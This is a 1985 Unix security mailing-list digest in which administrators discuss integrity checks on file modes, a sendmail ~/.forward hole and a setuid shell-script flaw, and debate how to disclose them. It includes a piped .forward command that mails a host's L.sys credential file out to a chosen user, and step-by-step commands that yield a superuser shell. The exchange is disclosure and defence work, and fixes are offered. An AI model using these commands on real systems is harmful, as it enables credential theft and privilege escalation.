Date: 18 Jan 1985 1332-MST (Friday) Subject: Security Mail List # 3 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Date: Mon, 7 Jan 85 10:42:32 pst From: sun!boulder!shannon (Bill Shannon) Subject: Re: Security Mail List, #2 So is someone going to explain why setgid is unsafe on 4.1 or earlier systems? - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Date: Wed, 9 Jan 85 11:08:03 pst From: Matt Bishop Subject: file modes and UNIX security This is in response to the message from nbires!ut-sally!harvard!rtm. When I was at Purdue, we had something like that; we had a simple database of the system files with unusual modes ("unusual" meaning anything other than 755), and every night a crontab job would get run. This job checked the actual modes against the expected mode, and if the two were not the same reset the actual mode and reported the change. I vaguely recall it also traversed the file system looking for setuid programs (systm or otherwise) and reported all those not on a list. I don't remember who wrote it and I don't know if it's still in use; you might check with Kevin Smallwood (kcs@purdue.arpa, ...!decvax!pur-ee!purdue!kcs), the systems manager out there. He may be able to point you to something. One more comment: while it is tempting to assume the internal security depends on the integrity of the file system, that's not completely true. If your file system integrity is zilch, your system is insecure. But if your file system integrity is very high, you still may have little or no security; many techniques of breaking into UNIX (and here I mean obtaining a shell that runs with superuser privileges) do not depend on the (lack of) integrity of the file system! Others rely on attributes of files, but you cannot protect against them simply by ensuring a secure file system. Everything harvard!rtm said is quite true; just beware, it's by no means enough (or even close to enough.) Peace, Matt (mab@riacs.arpa, ihnp4!ames!riacs!mab, decvax!decwrl!riacs!mab) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Date: Tue, 8 Jan 85 20:01:21 est From: Russell J. Yount Subject: 4.2 sendmail feature Here's a 4.2 feature that I never had the nerve to post to the net. There a security bug in the way /usr/lib/sendmail forwards mail via ~/.forward file. Either a forwarding address or a program to pipe the received mail may be put in ~/.forward. But ~ for login names such as uucp have /usr/spool/uucppublic. If one write a file containing the commands: |"cat /usr/lib/uucp/L.sys | rmail username" and copies it to ~uucp/.forward via uucp the next mail to a uucp login will automatically mail a copy of that hosts L.sys to username. This will work an a host or any directly connect uucp neighbor. The fix for this problem is to alises all uucp logins in /usr/lib/aliases and make a directory ~uucp/.forward owned by root. Russell J. Yount Decision System Laboratory, University or Pittsburgh ry@cadre.ARPA, vax135!cadre!ry - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - From: ihnp4!sdcsvax!sdchema!jwp Date: Thu, 10 Jan 85 22:38:07 pst Subject: setuid/setgid shell scripts A potentially severe security hole in 4.[12] and System V was recently found at UCSD by Keith Muller (sdcc3!muller). It is most easily explained by an example from Arthur Olson (elsie!ado): Become root and use the following commands: ( echo \#\! /bin/sh ; echo date ) > /tmp/sh.script ( echo \#\! /bin/csh ; echo date ) > /tmp/csh.script chmod 4755 sh.script csh.script Now login as, for example, guest and use the following commands: cd /tmp ln sh.script - - cat /usr/lib/uucp/L.sys and note that you've now got a super-user "sh" or "csh" on your hands. This, of course, comes about because both "sh" and "csh" look at the name by which they're invoked, assuming that they're a "login shell" -- and taking input from the terminal -- if the name begins with a "-". This is particularly insidious in 4.2 where you can do, e.g.: ln -s /tmp/csh.script ~/- Keith, Arthur, and I agree that this is a problem, but it is a logical consequence of the documented behavior of execve(2), the shells, and the setuid/setgid modes, so it's probably not really correct to call it a "bug". This is a problem not only for root users but (worse?) for the "semi-neophyte" who is earnestly trying to solve his own problems without bugging the system programmers. My boss is a good example: he made a setuid script to allow his secretary to print selected files for him; which, of course, inadvertently blows away any possible security for the rest of his files. Also note that there is another "problem" with set[ug]id csh scripts: if they start with "#! /bin/csh" they read the user's .cshrc with the script owner's permissions. The fixes to the shells are simple enough. I have, I guess, three questions: 1) How many of you knew about this before reading this (in the sense that you were actively aware of the specific problem, not just that you would have realized what was going to happen if somebody had asked about it)? I'm curious as to how widespread knowledge of this problem has been in the past. 2) Do you consider this to really be a problem? Give some thought to the vast number of essentially neophyte users out there, and to the fact that Ed Gould just pointed out in net.unix the virtues of using "#! /bin/csh" to create set[ug]id shell files. 3) Should an explanation of the problem go to the net? I can see arguments against it: not all system administrators get/read news; there is no binary fix; there's no way of ensuring new sites get the information. I think these are all legitimate, and there are probably others. My current inclination is to do what Keith Muller did about the trojan horse code in sendmail: post a brief note saying there's a potential problem and that I will respond to mail from root users with a more exact description. John Pierce, Chemistry, UC San Diego {decvax,sdcsvax}!sdchema!jwp --------------------------------------------